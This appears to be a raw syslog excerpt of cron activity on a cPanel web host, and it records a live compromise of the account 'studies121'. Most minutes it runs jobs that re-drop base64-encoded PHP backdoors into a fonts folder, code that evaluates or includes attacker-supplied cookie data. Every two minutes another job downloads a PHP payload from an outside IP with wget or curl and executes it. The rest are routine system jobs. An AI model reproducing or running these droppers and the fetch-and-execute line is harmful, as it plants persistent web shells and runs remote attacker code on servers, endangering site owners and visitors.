Sep  4 20:52:01 ip-184-168-122-23 CROND[19815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:53:01 ip-184-168-122-23 CROND[19902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:53:01 ip-184-168-122-23 CROND[19903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:53:01 ip-184-168-122-23 CROND[19904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:53:01 ip-184-168-122-23 CROND[19905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:54:02 ip-184-168-122-23 CROND[19982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:54:02 ip-184-168-122-23 CROND[19984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:54:02 ip-184-168-122-23 CROND[19983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:54:02 ip-184-168-122-23 CROND[19981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:54:02 ip-184-168-122-23 CROND[19985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:55:01 ip-184-168-122-23 CROND[20079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:55:01 ip-184-168-122-23 CROND[20081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:55:01 ip-184-168-122-23 CROND[20080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:55:01 ip-184-168-122-23 CROND[20082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:55:01 ip-184-168-122-23 CROND[20084]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:55:01 ip-184-168-122-23 CROND[20085]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:56:01 ip-184-168-122-23 CROND[20170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:56:01 ip-184-168-122-23 CROND[20171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:56:01 ip-184-168-122-23 CROND[20172]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:56:01 ip-184-168-122-23 CROND[20173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:56:01 ip-184-168-122-23 CROND[20174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:57:01 ip-184-168-122-23 CROND[20345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:57:01 ip-184-168-122-23 CROND[20346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:57:01 ip-184-168-122-23 CROND[20347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:57:01 ip-184-168-122-23 CROND[20348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:58:01 ip-184-168-122-23 CROND[20443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:58:01 ip-184-168-122-23 CROND[20445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:58:01 ip-184-168-122-23 CROND[20446]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:58:01 ip-184-168-122-23 CROND[20447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:58:01 ip-184-168-122-23 CROND[20448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:59:01 ip-184-168-122-23 CROND[20534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:59:01 ip-184-168-122-23 CROND[20533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:59:01 ip-184-168-122-23 CROND[20535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:59:01 ip-184-168-122-23 CROND[20536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:00:01 ip-184-168-122-23 CROND[20627]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 21:00:01 ip-184-168-122-23 CROND[20630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:00:01 ip-184-168-122-23 CROND[20631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:00:01 ip-184-168-122-23 CROND[20635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:00:01 ip-184-168-122-23 CROND[20634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:00:01 ip-184-168-122-23 CROND[20633]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:00:01 ip-184-168-122-23 CROND[20637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:00:01 ip-184-168-122-23 CROND[20632]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:01:01 ip-184-168-122-23 CROND[20735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:01:01 ip-184-168-122-23 CROND[20736]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 21:01:01 ip-184-168-122-23 CROND[20737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:01:01 ip-184-168-122-23 CROND[20739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:01:01 ip-184-168-122-23 CROND[20740]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 21:01:01 ip-184-168-122-23 CROND[20738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20736]: starting 0anacron
Sep  4 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20756]: finished 0anacron
Sep  4 21:02:01 ip-184-168-122-23 CROND[20835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:02:01 ip-184-168-122-23 CROND[20832]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:02:01 ip-184-168-122-23 CROND[20833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:02:01 ip-184-168-122-23 CROND[20834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:02:01 ip-184-168-122-23 CROND[20836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:03:01 ip-184-168-122-23 CROND[20927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:03:01 ip-184-168-122-23 CROND[20928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:03:01 ip-184-168-122-23 CROND[20930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:03:01 ip-184-168-122-23 CROND[20929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:04:01 ip-184-168-122-23 CROND[21013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:04:01 ip-184-168-122-23 CROND[21014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:04:01 ip-184-168-122-23 CROND[21015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:04:01 ip-184-168-122-23 CROND[21016]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:04:01 ip-184-168-122-23 CROND[21017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
